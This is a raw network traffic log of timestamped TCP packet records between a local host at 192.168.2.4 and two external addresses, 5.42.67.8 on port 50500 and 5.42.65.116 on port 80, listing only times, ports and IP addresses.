Jun 20, 2024 06:49:09.182115078 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182126045 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182135105 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182143927 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182152987 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182194948 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.188647985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:09.188710928 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:09.188915014 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:09.195880890 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:09.225606918 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.854008913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:09.854116917 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:09.855623007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:09.860579967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052514076 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052578926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052614927 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052628994 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.052651882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052680016 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.052686930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052716017 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.052721977 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052753925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.052757025 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052792072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052824020 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052833080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.052833080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.052860022 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052884102 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.052897930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.052995920 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.052995920 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.057794094 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.057894945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.149985075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150028944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150089025 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150094986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.150094986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.150124073 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150158882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150192022 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150229931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150235891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.150235891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.150300980 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.150300980 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.150847912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150882959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150918961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150933981 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.150954962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.150988102 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.151014090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.151014090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.151139021 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.151753902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.151804924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.151839018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.151983976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.151983976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.151983976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.152304888 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.152338982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.152384043 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.152384043 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.152578115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.152611017 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.152662039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.152664900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.152698040 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.152730942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.152821064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.152821064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.242065907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.242110014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.242162943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.242172003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.248275995 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.248313904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.248348951 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.248357058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.248383045 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.248433113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.248433113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.248433113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.248461962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.248537064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.248562098 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.248605013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.248672962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.248703003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.248713017 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.248754978 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.248754978 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.249037981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.249090910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.249126911 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.249178886 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.249214888 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.249248028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.249264002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.249264002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.249264002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.249264002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.249281883 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.249313116 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.249404907 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.249906063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.249958038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.249963999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.249998093 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.250072002 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.250104904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.250111103 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.250111103 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.250128984 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.250139952 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.250185013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.250188112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.250216961 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.250339031 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.250890970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.250924110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.250952005 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.250957966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.250981092 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.251013041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.251044989 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.251079082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.251113892 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.251113892 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.251115084 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.251158953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.251158953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.251828909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.251880884 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.251939058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.251939058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346194029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346237898 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346302032 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346322060 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346322060 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346338034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346371889 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346406937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346421003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346448898 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346453905 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346477985 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346484900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346514940 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346532106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346568108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346574068 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346596003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346601963 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346640110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346643925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346709967 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346709967 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346859932 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346895933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.346940041 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346940041 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.346991062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347045898 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347088099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347098112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347131968 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347131968 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347210884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347306967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347340107 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347376108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347385883 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347385883 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347428083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347448111 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347460985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347492933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347508907 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347548008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347556114 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347583055 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347615957 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347651958 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.347656965 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347656965 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347672939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.347700119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.348220110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.348253965 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.348289013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.348309040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.348309040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.348342896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.348365068 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.348376036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.348409891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.348409891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.348443031 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.348467112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.348474979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.348532915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.348537922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.348572016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.348608017 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.348679066 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.348679066 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.349149942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.349184036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.349220037 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.349221945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.349242926 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.349273920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.349308968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.349342108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.349348068 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.349392891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.349426985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.349455118 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.349455118 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.349459887 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.349498034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.349556923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.349556923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.349556923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.349989891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.350055933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.350090027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.350100040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.350136042 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.350151062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.350194931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.350208998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.350208998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.350230932 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.350264072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.350286961 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.350286961 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.350298882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.350337029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.350419998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.443979025 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444046974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444083929 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444111109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444111109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444137096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444185019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444237947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444272995 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444288969 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444288969 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444288969 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444307089 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444360018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444395065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444427967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444431067 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444431067 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444431067 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444431067 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444478035 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444498062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444551945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444586039 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444621086 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444636106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444636106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444636106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444672108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444711924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444714069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444714069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444745064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444772005 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444811106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444818974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444840908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444874048 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444880962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444906950 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444909096 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444921970 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.444941044 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.444998026 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445048094 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445067883 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445067883 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445082903 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445115089 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445152044 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445184946 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445219040 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445228100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445228100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445228100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445250988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445288897 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445291042 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445313931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445384979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445389986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445439100 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445472956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445478916 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445501089 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445524931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445544004 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445570946 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445601940 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445604086 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445630074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445653915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445655107 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445689917 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445723057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445756912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445765018 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445765018 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445794106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445795059 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445833921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445909977 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445919037 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.445943117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.445974112 CEST	49743	80	192.168.2.4	5.42.65.116
